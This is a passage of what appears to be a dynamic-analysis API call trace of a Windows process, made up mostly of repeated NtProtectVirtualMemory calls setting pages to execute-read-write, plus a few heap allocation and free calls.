NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.688] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.792] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.909] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.969] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0250.999] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.041] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.053] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.092] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.111] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.136] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.147] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.157] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x2000) returned 0x92ea58 [0251.162] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.190] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.200] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.210] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x92da50) returned 1 [0251.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.254] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.270] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.303] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.320] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.342] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.353] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.380] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.408] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.420] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.434] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.466] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.486] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.595] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.616] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.667] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.701] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x3000) returned 0x930a60 [0251.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.731] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.963] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x92ea58) returned 1 [0251.968] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0251.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.008] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.019] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.064] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.075] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.086] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.137] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.179] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.189] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.212] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.243] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0252.318] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x4000) returned 0x933a68 [0252.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, 